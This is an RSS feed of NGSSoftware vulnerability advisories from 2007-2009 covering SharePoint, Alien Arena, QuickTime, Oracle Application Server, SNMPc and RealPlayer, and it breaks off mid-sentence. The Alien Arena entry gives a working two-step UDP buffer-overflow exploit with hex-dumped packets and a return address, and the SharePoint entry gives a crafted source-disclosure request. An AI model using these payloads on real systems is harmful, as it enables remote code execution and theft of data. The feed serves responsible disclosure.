<?xml version="1.0" encoding="UTF-8"?>

<!-- generator="wordpress/2.0.3" -->
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

http://www.ngssoftware.com<channel>
	<title> NGSSoftware advisories</title>
	<link>/advisories/ </link>
	<description>News stories for the advisories page.</description>	<pubDate>Mon, 26 Oct 2009 09:57:53 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.0.3</generator>
	<language>en</language>
			<item>
		<title>Medium Risk Vulnerability in SharePoint Team Services</title>
		<link>http://www.ngssoftware.com/advisories/medium-risk-vulnerability-in-sharepoint-team-services/ </link>
		<comments>http://www.ngssoftware.com/advisories/medium-risk-vulnerability-in-sharepoint-team-services/#comments</comments>
		<pubDate>Mon, 26 Oct 2009 09:54:38 +0000</pubDate>
		<dc:creator>NGS</dc:creator>
		
	<category>advisories</category>
		<guid isPermaLink="false">http://www.ngssoftware.com/advisories/medium-risk-vulnerability-in-sharepoint-team-services/</guid>
		<description><![CDATA[=======
Summary
=======
Name: SharePoint Team Services source code disclosure through download
facility
Release Date: 21 October 2009
Reference: NGS00532
Discover: Daniel Martin
Vendor: Microsoft
Vendor Reference:
Systems Affected: SharePoint Team Services 12.0.0.6219, 12.0.0.4518 and
possibly others
Risk: Medium
Status: Reported
========
TimeLine
========
Discovered: 17 September 2008
Released:  2 October 2008
Approved:  3 October 2008
Reported:  8 October 2008
Fixed:
Published: 23 October 2009
===========
Description
===========
Microsoft SharePoint is a browser-based collaboration and document
management platform. It can be used [...]]]></description>
			<content:encoded><![CDATA[<p><font size="2">=======<br />
Summary<br />
=======<br />
Name: SharePoint Team Services source code disclosure through download<br />
facility<br />
Release Date: 21 October 2009<br />
Reference: NGS00532<br />
Discover: Daniel Martin<br />
Vendor: Microsoft<br />
Vendor Reference:<br />
Systems Affected: SharePoint Team Services 12.0.0.6219, 12.0.0.4518 and<br />
possibly others<br />
Risk: Medium<br />
Status: Reported</font></p>
<p><font size="2">========<br />
TimeLine<br />
========<br />
Discovered: 17 September 2008<br />
Released:  2 October 2008<br />
Approved:  3 October 2008<br />
Reported:  8 October 2008<br />
Fixed:<br />
Published: 23 October 2009</font></p>
<p><font size="2">===========<br />
Description<br />
===========<br />
Microsoft SharePoint is a browser-based collaboration and document<br />
management platform. It can be used to host web sites that access shared<br />
workspaces and documents, as well as specialized applications like wikis<br />
and blogs from a browser.</font></p>
<p><font size="2">It was found that the download facility of Microsoft SharePoint Team<br />
Services can be abused to reveal the source code of ASP.NET files.</font></p>
<p><font size="2">=================<br />
Technical Details<br />
=================<br />
SharePoint Team Services stores a variety of files in its backend<br />
database. These files include site templates, custom ASP.NET pages and<br />
documents that users of the application upload to the document libraries.</font></p>
<p><font size="2">Insufficient validation in the input parameters of the download facility<br />
can result in the source code of ASP.NET files being disclosed. For<br />
example, the source code of the default ASP.NET page available after<br />
installing the product (<a href="http://server/Pages/Default.aspx">http://server/Pages/Default.aspx</a>) can be obtained<br />
by issuing the following request:</font></p>
<p><font size="2"><a href="http://server/_layouts/download.aspx?SourceUrl=/Pages/Default.aspx&#038;Source=http://server/Pages/Default.aspx&#038;FldUrl=">http://server/_layouts/download.aspx?SourceUrl=/Pages/Default.aspx&#038;Source=http://server/Pages/Default.aspx&#038;FldUrl=</a></font></p>
<p><font size="2">In order to retrieve the source code any file stored in the backend<br />
database (files whose path does not start with /_layout/) it is sufficient<br />
to craft a request that follows this pattern:</font></p>
<p><font size="2"><a href="http://server/_layouts/download.aspx?SourceUrl=&#038;Source=&#038;FldUrl=">http://server/_layouts/download.aspx?SourceUrl=&#038;Source=&#038;FldUrl=</a></font></p>
<p><font size="2">This bug can result in disclosure of sensitive information that can be<br />
used by an attacker targeting the system. For instance the PublicKeyTokens<br />
of the ASP.NET assemblies deployed in the server can be revealed enabling<br />
an attacker to upload a malicious file that makes use of them.</font></p>
<p><font size="2">===============<br />
Fix Information<br />
===============<br />
It is advised that the source code of any bespoke ASP.NET file deployed in<br />
the system is reviewed to ensure that no sensitive information would be<br />
reviewed if an attacker abuses the download facility of the framework.<br />
Additionally access on a need-to-know basis to SharePoint systems is<br />
advised.</font></p>
<p><font size="2">No workarounds exist at this point. However Microsoft has been contacted<br />
so they can produce a fix for their customers. NGS has been advised that<br />
although this issue will not be patched until the next release of<br />
SharePoint, Microsoft has addressed the design issues around it in a<br />
Knowledge Base article (KB976829) about security considerations when<br />
running SharePoint that can be found at:</font></p>
<p><font size="2"><a href="http://go.microsoft.com/fwlink/?LinkId=167936">http://go.microsoft.com/fwlink/?LinkId=167936</a></font></p>
<p><font size="2">NGS Software wants to thank the MSRC team and Charles Weidner in<br />
particular for their support in clarifying this issue.</font></p>
<p><font size="2">NGSSoftware Insight Security Research<br />
<a href="http://www.ngssoftware.com/">http://www.ngssoftware.com/</a><br />
<a href="http://www.databasesecurity.com/">http://www.databasesecurity.com/</a><br />
<a href="http://www.nextgenss.com/">http://www.nextgenss.com/</a><br />
+44(0)208 401 0070</font>
</p>
]]></content:encoded>
			<wfw:commentRSS>http://www.ngssoftware.com/advisories/medium-risk-vulnerability-in-sharepoint-team-services/feed/ </wfw:commentRSS>
		</item>
		<item>
		<title>Very High Risk Vulnerability in Alien Arena 7.30</title>
		<link>http://www.ngssoftware.com/advisories/very-high-risk-vulnerability-in-alien-arena-730/ </link>
		<comments>http://www.ngssoftware.com/advisories/very-high-risk-vulnerability-in-alien-arena-730/#comments</comments>
		<pubDate>Wed, 21 Oct 2009 17:35:46 +0000</pubDate>
		<dc:creator>NGS</dc:creator>
		
	<category>advisories</category>
		<guid isPermaLink="false">http://www.ngssoftware.com/advisories/very-high-risk-vulnerability-in-alien-arena-730/</guid>
		<description><![CDATA[Anonymous Remote Arbitrary Code Execution in Alien Arena 7.30
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-
October 21st, 2009
A PDF version of this advisory can be found here.

=======
Summary
=======
Name: Anonymous Remote Arbitrary Code Execution in Alien Arena 7.30
Release Date: October 21st, 2009
Discoverer: Jason Geffner
Vendor: COR Entertainment
Systems Affected: Alien Arena 7.30
Risk: Very High
Status: Published
============
Introduction
============
This paper discusses how an anonymous remote attacker can execute arbitrary
code on [...]]]></description>
			<content:encoded><![CDATA[<p><font face="Courier New">Anonymous Remote Arbitrary Code Execution in Alien Arena 7.30<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</font></p>
<p><font face="Courier New">October 21st, 2009</p>
<p>A PDF version of this advisory can be found <a target="_blank" href="http://www.ngssoftware.com/brochures/Anonymous.Remote.Arbitrary.Code.Execution.in.Alien.Arena.pdf">here</a>.<br />
</font></p>
<p><font face="Courier New">=======<br />
Summary<br />
=======<br />
Name: Anonymous Remote Arbitrary Code Execution in Alien Arena 7.30<br />
Release Date: October 21st, 2009<br />
Discoverer: Jason Geffner<br />
Vendor: COR Entertainment<br />
Systems Affected: Alien Arena 7.30<br />
Risk: Very High<br />
Status: Published</font></p>
<p><font face="Courier New">============<br />
Introduction<br />
============<br />
This paper discusses how an anonymous remote attacker can execute arbitrary<br />
code on the computers of Alien Arena&#8217;s networked players. This vulnerability<br />
was responsibly disclosed to the authors of the game and this advisory was not<br />
released until a fixed build of the game was released.</font></p>
<p><font face="Courier New">==========<br />
Background<br />
==========<br />
Alien Arena is a popular[1] free open-source FPS game for Windows, Mac, and<br />
Linux. It has had a history of security vulnerabilities[2] since its initial<br />
release in 2004.</font></p>
<p><font face="Courier New">========<br />
Timeline<br />
========<br />
06/19/09 Alien Arena 7.30 released<br />
06/21/09 Anonymous remote arbitrary code execution vulnerability discovered<br />
06/22/09 Request for contact sent to Alien Arena&#8217;s developers<br />
06/23/09 Detailed vulnerability report responsibly disclosed to Lead Developer<br />
of Alien Arena<br />
06/23/09 Security vulnerability &#8220;fixed&#8221; (Revision 1390)[3]<br />
06/23/09 Broken &#8220;fix&#8221; identified and responsibly disclosed to Lead Developer<br />
of Alien Arena<br />
06/23/09 Security vulnerability &#8220;fix&#8221; fixed (Revision 1391)[3]<br />
10/08/09 Alien Arena 7.31 released, incorporating fixes above<br />
10/16/09 Advisory written<br />
10/21/09 Advisory released</font></p>
<p><font face="Courier New">=============<br />
Vulnerability<br />
=============<br />
When the game client requests a list of network games to join, it sends a UDP<br />
query to master.corservers.com. This server responds to the client via UDP with<br />
a list of known game servers. The client then sends a UDP query to each of the<br />
listed game servers, asking each for its description. The client&#8217;s parsing of<br />
the servers&#8217; responses is vulnerable to a buffer overflow attack.</font></p>
<p><font face="Courier New">The client is designed to listen for incoming UDP packets from<br />
master.corservers.com and from the game servers on port 27901, however it will<br />
accept and parse UDP packets from any IP address even if the client did not<br />
initiate a UDP conversation with that given IP address. As such, an attacker<br />
can send a malformed UDP packet from any source IP address; they need not know<br />
a valid game server&#8217;s IP address to exploit this buffer overflow vulnerability.</font></p>
<p><font face="Courier New">When the client receives a UDP packet on port 27901 that specifies a server&#8217;s<br />
description (the server-to-client &#8220;print&#8221; message), it calls the function<br />
M_AddToServerList(&#8230;)in \client\menu.c to tokenize the rest of the UDP packet<br />
(status_string):</font></p>
<p><font face="Courier New">| void M_AddToServerList (netadr_t adr, char *status_string)<br />
| {<br />
| char *rLine;<br />
| char *token;<br />
| char lasttoken[256];<br />
| char seps[] = &#8220;\\&#8221;;<br />
| &#8230;<br />
| //parse it<br />
|<br />
| result = strlen(status_string);<br />
|<br />
| //server info - we may revisit this<br />
| rLine = GetLine (&#038;status_string, &#038;result);<br />
| &#8230;<br />
| /* Establish string and get the first token: */<br />
| token = strtok( rLine, seps );<br />
| while( token != NULL ) {<br />
| /* While there are tokens in &#8220;string&#8221; */<br />
| if (!_stricmp (lasttoken, &#8220;admin&#8221;))<br />
| &#8230;<br />
| else if (!_stricmp (lasttoken, &#8220;website&#8221;))<br />
| &#8230;<br />
| else if (!_stricmp (lasttoken, &#8220;fraglimit&#8221;))<br />
| &#8230;<br />
| else if (!_stricmp (lasttoken, &#8220;timelimit&#8221;))<br />
| &#8230;<br />
| else if (!_stricmp (lasttoken, &#8220;version&#8221;))<br />
| &#8230;<br />
| else if (!_stricmp (lasttoken, &#8220;mapname&#8221;))<br />
| &#8230;<br />
| else if (!_stricmp (lasttoken, &#8220;hostname&#8221;))<br />
| &#8230;<br />
| else if (!_stricmp (lasttoken, &#8220;maxclients&#8221;))<br />
| &#8230;<br />
| /* Get next token: */<br />
| strcpy (lasttoken, token);<br />
| &#8230;</font></p>
<p><font face="Courier New">Note that the lasttoken buffer is 256 bytes long. As such, if an attacker<br />
supplies a token longer than 256 bytes then the strcpy(&#8230;) function above will<br />
overwrite the return address for the M_AddToServerList(&#8230;) function.</font></p>
<p><font face="Courier New">====================<br />
Exploit, Step 1 of 2<br />
====================<br />
To properly orchestrate an attack and make it agnostic of the version of<br />
Windows, an attacker would need to know a reliable return address that they can<br />
use that satisfies the following conditions:<br />
1. This address is constant across all versions of Windows.<br />
2. The attacker can write code and data to this address.<br />
3. Code at this address is readable and executable.</font></p>
<p><font face="Courier New">A global variable in Alien Arena&#8217;s executable would be ideal for this situation<br />
since the Alien Arena developers did not link this executable for ASLR or DEP.<br />
Since it&#8217;s a global variable and ASLR is disabled, the address will remain<br />
constant across all versions of Windows for this version of Alien Arena, and<br />
since DEP is not enabled, its content is executable.</font></p>
<p><font face="Courier New">When the client receives a UDP packet on port 27901 that specifies a list of<br />
game servers (the server-to-client &#8220;servers&#8221; message), it calls the function<br />
CL_ParseGetServersResponse() in \client\cl_main.c to parse the rest of the UDP<br />
packet (net_message):</font></p>
<p><font face="Courier New">| void CL_ParseGetServersResponse()<br />
| {<br />
| &#8230;<br />
| byte addr[4];<br />
|<br />
| MSG_BeginReading (&#038;net_message);<br />
| MSG_ReadLong (&#038;net_message); // skip the -1<br />
| &#8230;<br />
| numServers = 0;<br />
| &#8230;<br />
| while( net_message.readcount +6 <= net_message.cursize ) {<br />
| MSG_ReadData( &#038;net_message, addr, 4 );<br />
| servers[numServers].port = MSG_ReadShort( &#038;net_message );<br />
| ...</font></p>
<p><font face="Courier New">The following UDP data can be sent from any IP address to a client on port<br />
27901 to store the &#8220;port&#8221; number 0xE4FF in the global variable servers[1].port,<br />
which in Alien Arena 7.30 for Windows is located at the static address<br />
0&#215;05BE9734. (N.B., servers[0].port can&#8217;t be used because it is at static<br />
address 0&#215;05BE8F00 and the null-byte in this address can&#8217;t be used in the<br />
&#8220;print&#8221; message).</font></p>
<p><font face="Courier New">00000000 FF FF FF FF 73 65 72 76 65 72 73 20 7F 00 00 01 &#8230;.servers &#8230;.<br />
00000010 00 00 00 00 00 00 FF E4 &#8230;&#8230;..</font></p>
<p><font face="Courier New">Note that 0xFF 0xE4 is the machine code for &#8220;JMP ESP&#8221;. After sending the UDP<br />
data above to the client, the attacker now knows that the assembly instruction<br />
&#8220;JMP ESP&#8221; is located at static address 0&#215;05BE9734.</font></p>
<p><font face="Courier New">====================<br />
Exploit, Step 2 of 2<br />
====================<br />
The attacker could then send a UDP packet from any IP address to the client<br />
consisting of the following data. This message overflows the strcpy(&#8230;)<br />
function in M_AddToServerList(&#8230;) above and overwrites the return address with<br />
the address of the &#8220;JMP ESP&#8221; instruction above (0&#215;05BE9734). The highlighted<br />
NOPs are the shellcode that gets executed. Note that those 4 NOPs can be<br />
replaced with quite a bit of code &#8212; the data portion of the UDP packet can be<br />
up to 2800 bytes, more than enough to do whatever an attacker would want to do.<br />
The only restriction is no null-bytes, but that obviously wouldn&#8217;t be a problem<br />
if an attacker used an encoded payload.</font></p>
<p><font face="Courier New">00000000 FF FF FF FF 70 72 69 6E 74 0A 5C 41 41 41 41 41 &#8230;.print.\AAAAA<br />
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
00000040 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
00000050 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
00000060 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
00000070 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
00000080 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
00000090 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
000000A0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
000000B0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
000000C0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
000000D0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
000000E0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
000000F0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
00000100 41 41 41 41 41 41 41 41 41 41 41 34 97 BE 05 90 AAAAAAAAAAA4&#8230;.<br />
00000110 90 90 90 0A 20 41 20 41 &#8230;. A A</font></p>
<p><font face="Courier New">==========<br />
Conclusion<br />
==========<br />
It is clear that a remote attacker can anonymously execute arbitrary code on<br />
clients&#8217; systems by sending 2 maliciously crafted UDP packets.</font></p>
<p><font face="Courier New">It should be noted that there are likely other vulnerabilities remaining in<br />
this codebase. NGS did not perform a comprehensive security review of Alien<br />
Arena.</font></p>
<p><font face="Courier New">============<br />
Observations<br />
============<br />
Despite the common perception in the open-source community that &#8220;given enough<br />
eyeballs, all bugs are shallow,&#8221;[4] open-source software is still plagued by<br />
high-impact security vulnerabilities. For this mantra to hold, not only are<br />
&#8220;enough eyeballs&#8221; required, but the eyeballs should be those of well-trained<br />
security professionals.</font></p>
<p><font face="Courier New">Security best-practices such as adherence to the Security Development<br />
Lifecycle[5] are also critical when designing and developing software. It is<br />
worth noting that even with the code-based vulnerability identified in this<br />
advisory, a defense-in-depth approach of using ASLR and/or DEP would have<br />
deterred exploitation if enabled.</font></p>
<p><font face="Courier New">===============<br />
Fix Information<br />
===============<br />
This issue has now been resolved. Alien Arena 7.31 can be downloaded from:<br />
<a target="_blank" href="http://icculus.org/alienarena/rpa/aquire.html">http://icculus.org/alienarena/rpa/aquire.html</a></font></p>
<p><font face="Courier New">==========<br />
References<br />
==========<br />
[1] <a target="_blank" href="http://games.slashdot.org/story/09/06/21/1336213">http://games.slashdot.org/story/09/06/21/1336213</a><br />
[2] <a target="_blank" href="http://www.securityfocus.com/archive/1/426984">http://www.securityfocus.com/archive/1/426984</a><br />
[3] <a target="_blank" href="http://icculus.org/alienarena/changelogs/7.31.txt">http://icculus.org/alienarena/changelogs/7.31.txt</a><br />
[4] <a target="_blank" href="http://en.wikipedia.org/wiki/Linus'_Law">http://en.wikipedia.org/wiki/Linus&#8217;_Law</a><br />
[5] <a target="_blank" href="http://msdn.microsoft.com/en-us/library/ms995349.aspx">http://msdn.microsoft.com/en-us/library/ms995349.aspx</a></font></p>
<p><font face="Courier New">NGSSoftware Insight Security Research<br />
<a target="_blank" href="http://www.ngssoftware.com/">http://www.ngssoftware.com/</a><br />
<a target="_blank" href="http://www.databasesecurity.com/">http://www.databasesecurity.com/</a><br />
<a target="_blank" href="http://www.nextgenss.com/">http://www.nextgenss.com/</a><br />
+44(0)208 401 0070</font></p>
<p><font face="Courier New" />
</p>
]]></content:encoded>
			<wfw:commentRSS>http://www.ngssoftware.com/advisories/very-high-risk-vulnerability-in-alien-arena-730/feed/ </wfw:commentRSS>
		</item>
		<item>
		<title>Critical Vulnerability in Apple Quicktime&#8217;s Indeo Codec</title>
		<link>http://www.ngssoftware.com/advisories/critical-vulnerability-in-apple-quicktimes-indeo-codec/ </link>
		<comments>http://www.ngssoftware.com/advisories/critical-vulnerability-in-apple-quicktimes-indeo-codec/#comments</comments>
		<pubDate>Mon, 15 Sep 2008 16:48:39 +0000</pubDate>
		<dc:creator>NGS</dc:creator>
		
	<category>advisories</category>
		<guid isPermaLink="false">http://www.ngssoftware.com/advisories/critical-vulnerability-in-apple-quicktimes-indeo-codec/</guid>
		<description><![CDATA[Paul Byrne of NGSSoftware has discovered a critical vulnerability in Apple Quicktime&#8217;s implementation of the Indeo Codec (CVE-ID: CVE-2008-3615) which may allow an attacker to execute arbitrary code on a user’s system via playing a malformed movie file in Quicktime containing video encoded in the Indeo Codec. This is also possible to be executed through [...]]]></description>
			<content:encoded><![CDATA[<p>Paul Byrne of NGSSoftware has discovered a critical vulnerability in Apple Quicktime&#8217;s implementation of the Indeo Codec (CVE-ID: CVE-2008-3615) which may allow an attacker to execute arbitrary code on a user’s system via playing a malformed movie file in Quicktime containing video encoded in the Indeo Codec. This is also possible to be executed through the Quicktime Internet Explorer Active X control. It is in the Quicktime library for Indeo in the file &#8220;ir50_32.qtx&#8221; which was previously distributed through Apple&#8217;s website but written by a third party. The codec has now been removed and is no longer supported in the latest version of Quicktime.</p>
<p>This issue has been resolved in the newest version of Apple Quicktime 7.5.5, to see Apple&#8217;s release go to:</p>
<p>  <a href="http://support.apple.com/kb/HT3027">http://support.apple.com/kb/HT3027</a> </p>
<p>NGSSoftware are going to withhold details of this flaw for three months. Full details will be published on the 14th December 2008. This three month window will allow other vendors the time needed to create patches in their versions of Indeo Codec before the details are released to the general public. This reflects NGSSoftware’s approach to responsible disclosure. </p>
<p>NGSSoftware Insight Security Research<br />
Email: <a href="mailto:nisr@ngssoftware.com">nisr@ngssoftware.com</a><br />
<a href="http://www.ngssoftware.com/">http://www.ngssoftware.com/</a><br />
<a href="http://www.databasesecurity.com/">http://www.databasesecurity.com/</a><br />
<a href="http://www.nextgenss.com/">http://www.nextgenss.com/</a><br />
+44(0)208 401 0070 
</p>
]]></content:encoded>
			<wfw:commentRSS>http://www.ngssoftware.com/advisories/critical-vulnerability-in-apple-quicktimes-indeo-codec/feed/ </wfw:commentRSS>
		</item>
		<item>
		<title>Critical Vulnerability in Oracle Application Server</title>
		<link>http://www.ngssoftware.com/advisories/critical-vulnerability-in-oracle-application-server/ </link>
		<comments>http://www.ngssoftware.com/advisories/critical-vulnerability-in-oracle-application-server/#comments</comments>
		<pubDate>Mon, 21 Jul 2008 05:55:30 +0000</pubDate>
		<dc:creator>NGS</dc:creator>
		
	<category>advisories</category>
		<guid isPermaLink="false">http://www.ngssoftware.com/advisories/critical-vulnerability-in-oracle-application-server/</guid>
		<description><![CDATA[NGSSoftware Insight Security Research Advisory
Name: PLSQL Injection in Oracle Application Server
Systems Affected: Oracle Application Server 9.0.4.3, 10.1.2.2, 10.1.4.1
Severity: Critical
Vendor URL: http://www.oracle.com/
Author: David Litchfield [ davidl@ngssoftware.com ]
Reported: 9th October 2007
Date of Public Advisory: 15th July 2008
Advisory number: #NISR15072008
CVE: CVE-2008-2589
Overview
********
Oracle has just released a fix for a flaw that, when exploited, allows an
unauthenticated attacker on the Internet [...]]]></description>
			<content:encoded><![CDATA[<p>NGSSoftware Insight Security Research Advisory</p>
<p>Name: PLSQL Injection in Oracle Application Server<br />
Systems Affected: Oracle Application Server 9.0.4.3, 10.1.2.2, 10.1.4.1<br />
Severity: Critical<br />
Vendor URL: <a href="http://www.oracle.com/">http://www.oracle.com/</a><br />
Author: David Litchfield [ <a href="mailto:davidl@ngssoftware.com">davidl@ngssoftware.com</a> ]<br />
Reported: 9th October 2007<br />
Date of Public Advisory: 15th July 2008<br />
Advisory number: #NISR15072008<br />
CVE: CVE-2008-2589</p>
<p>Overview<br />
********<br />
Oracle has just released a fix for a flaw that, when exploited, allows an<br />
unauthenticated attacker on the Internet to gain full control of a backend<br />
Oracle database server via the front end web server.</p>
<p>Details<br />
*******<br />
Oracle Application Server installs a number of PLSQL packages in the backend<br />
database server. One of these is the WWV_RENDER_REPORT package and it is<br />
vulnerable to PLSQL injection. This package uses definer rights execution<br />
and therefore executes with the privileges of the owner, in this case the<br />
highly privileged PORTAL user.</p>
<p>Specifically, the SHOW procedure takes as its 2nd argument the name of a<br />
function to execute and this is embedded with a dynamically executed<br />
anonymous block of PLSQL without first being sanitized. Because it is a<br />
block of anonymous PLSQL, an attacker can exploit this flaw to run any SQL<br />
statement, for example, create new users, grant dba privileges, delete or<br />
modify data. This is achieved by wrapping the statement(s) within an<br />
&#8220;execute immediate&#8221; statement and specifiying the autonomous_transaction<br />
pragma.</p>
<p>Fix Information<br />
***************<br />
Oracle was alerted to this flaw on the 9th October 2007. A patch has now<br />
been made available:</p>
<p><a target="_blank" href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2008.html">http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2008.html</a></p>
<p>NGSSQuirreL for Oracle, an advanced vulnerability assessment scanner<br />
designed specifically for Oracle, can be used to accurately determine<br />
whether your servers are vulnerable to these flaws. More information about<br />
NGSSQuirreL for Oracle can be found here:</p>
<p><a href="http://www.ngssoftware.com/products/database-security/ngs-squirrel-oracle.php">http://www.ngssoftware.com/products/database-security/ngs-squirrel-oracle.php</a></p>
<p>About NGSSoftware<br />
*****************<br />
NGSSoftware develops vulnerability assessment and compliancy tools for<br />
database servers including Oracle, Microsoft SQL Server, DB2, Sybase and<br />
Informix. Headquartered in the United Kingdom NGS has offices in London, St.<br />
Andrews (UK), Brisbane, and Perth (Australia) and Seattle in the United<br />
States; NGSConsulting provide services to some of the largest and most<br />
demanding organizations around the globe.</p>
<p><a href="http://www.ngssoftware.com/">http://www.ngssoftware.com/</a><br />
Telephone +44 208 401 0070<br />
Fax +44 208 401 0076
</p>
]]></content:encoded>
			<wfw:commentRSS>http://www.ngssoftware.com/advisories/critical-vulnerability-in-oracle-application-server/feed/ </wfw:commentRSS>
		</item>
		<item>
		<title>Critical Vulnerability in SNMPc</title>
		<link>http://www.ngssoftware.com/advisories/critical-vulnerability-in-snmpc/ </link>
		<comments>http://www.ngssoftware.com/advisories/critical-vulnerability-in-snmpc/#comments</comments>
		<pubDate>Wed, 30 Apr 2008 12:02:17 +0000</pubDate>
		<dc:creator>NGS</dc:creator>
		
	<category>advisories</category>
		<guid isPermaLink="false">http://www.ngssoftware.com/advisories/critical-vulnerability-in-snmpc/</guid>
		<description><![CDATA[=======
Summary
=======
Name: Unauthenticated Stack Overflow in SNMPc
Release Date: 30 April 2008
Reference: NGS00526
Discover: Wade Alcorn (wade@ngssoftware.com) and John Heasman
(john@ngssoftware.com)
Vendor: Castle Rock Computing
Systems Affected: SNMPc versions 7.1 and earlier
Risk: Critical
Status: Published
===========
Description
===========
Wade Alcorn and John Heasman of NGSSoftware have discovered a stack
overflow vulnerability in Castle Rock Computing SNMPc Network Manager.
SNMPc Network Manger is a distributed network management system that
allows [...]]]></description>
			<content:encoded><![CDATA[<p>=======<br />
Summary<br />
=======<br />
Name: Unauthenticated Stack Overflow in SNMPc<br />
Release Date: 30 April 2008<br />
Reference: NGS00526<br />
Discover: Wade Alcorn (wade@ngssoftware.com) and John Heasman<br />
(john@ngssoftware.com)<br />
Vendor: Castle Rock Computing<br />
Systems Affected: SNMPc versions 7.1 and earlier<br />
Risk: Critical<br />
Status: Published</p>
<p>===========<br />
Description<br />
===========<br />
Wade Alcorn and John Heasman of NGSSoftware have discovered a stack<br />
overflow vulnerability in Castle Rock Computing SNMPc Network Manager.<br />
SNMPc Network Manger is a distributed network management system that<br />
allows monitoring of the network infrastructure. It employs a<br />
distributed polling agent architecture which uses SNMP TRAPs to provide<br />
a solution capable of monitoring networks with up to ten thousand<br />
devices. An SNMP TRAP initiated by a network element is sent to the<br />
SNMPc Network Manager to allow monitoring of the infrastructure.</p>
<p>=================<br />
Technical Details<br />
=================<br />
The vulnerability can be exploited when an overly long community string<br />
is sent in the SNMP TRAP packet. The packets format will be valid ASN.1,<br />
including the length of the community string. An attacker can craft a<br />
single UDP packet that can lead to the execution of arbitrary code in<br />
the context of LocalSystem.</p>
<p>===============<br />
Fix Information<br />
===============<br />
NGSSoftware wish to note that Castle Rock Computing were extremely<br />
pro-active in addressing this issue.</p>
<p>The latest version (SNMPc 7.1.1) can be downloaded from the Castle Rock<br />
Computing website: <a target="_blank" href="http://www.castlerock.com/">http://www.castlerock.com/</a>.</p>
<p>NGSSoftware Insight Security Research<br />
<a href="http://www.ngssoftware.com/">http://www.ngssoftware.com/</a><br />
<a target="_blank" href="http://www.databasesecurity.com/">http://www.databasesecurity.com/</a><br />
<a href="http://www.nextgenss.com/">http://www.nextgenss.com/</a><br />
+44(0)208 401 0070
</p>
]]></content:encoded>
			<wfw:commentRSS>http://www.ngssoftware.com/advisories/critical-vulnerability-in-snmpc/feed/ </wfw:commentRSS>
		</item>
		<item>
		<title>High Risk Vulnerability in Real Player (ID3 tags)</title>
		<link>http://www.ngssoftware.com/advisories/high-risk-vulnerability-in-real-player-id3-tags/ </link>
		<comments>http://www.ngssoftware.com/advisories/high-risk-vulnerability-in-real-player-id3-tags/#comments</comments>
		<pubDate>Tue, 30 Oct 2007 06:56:29 +0000</pubDate>
		<dc:creator>NGS</dc:creator>
		
	<category>advisories</category>
		<guid isPermaLink="false">http://www.ngssoftware.com/advisories/high-risk-vulnerability-in-real-player-id3-tags/</guid>
		<description><![CDATA[=======
Summary
=======
Name: Heap overflow in RealPlayer ID3 tag parsing code
Release Date: 29 October 2007
Reference: NGS00432
Discover: John Heasman
Vendor: RealNetworks
Systems Affected: Several builds of RealPlayer 10.5,
All builds of RealPlayer 10.
For additional affected versions, see the URL below.
Risk: High
Status: Published
========
TimeLine
========
Discovered:  1 August 2006
Released:  1 August 2006
Approved:  1 August 2006
Reported:  1 August 2006
Fixed: 25 October 2007
Published: 29 October 2007
===========
Description
===========
There is [...]]]></description>
			<content:encoded><![CDATA[<p>=======<br />
Summary<br />
=======<br />
Name: Heap overflow in RealPlayer ID3 tag parsing code<br />
Release Date: 29 October 2007<br />
Reference: NGS00432<br />
Discover: <a href="mailto:john@ngssoftware.com">John Heasman</a><br />
Vendor: RealNetworks<br />
Systems Affected: Several builds of RealPlayer 10.5,<br />
All builds of RealPlayer 10.<br />
For additional affected versions, see the URL below.<br />
Risk: High<br />
Status: Published</p>
<p>========<br />
TimeLine<br />
========<br />
Discovered:  1 August 2006<br />
Released:  1 August 2006<br />
Approved:  1 August 2006<br />
Reported:  1 August 2006<br />
Fixed: 25 October 2007<br />
Published: 29 October 2007</p>
<p>===========<br />
Description<br />
===========<br />
There is a heap overflow in the Realplayer code that parses ID3 tags in<br />
MP3 files.</p>
<p>Impact: attackers could execute code of their choice on susceptible<br />
systems if a user were induced to open a malicious MP3 file.</p>
<p>=================<br />
Technical Details<br />
=================<br />
The problem stems from the parsing of a Lyrics3 v2.00 tag.  The size of<br />
the tag is calculated by reading 5 ASCII characters and calling<br />
pncrt.atoi.  A buffer is then allocated on the heap of size tag length +<br />
1.  Since atoi parses a signed integer, supplying -1, results in a zero<br />
length allocation into which data is copied.</p>
<p>This can be exploited to overwrite a function pointer leading to the<br />
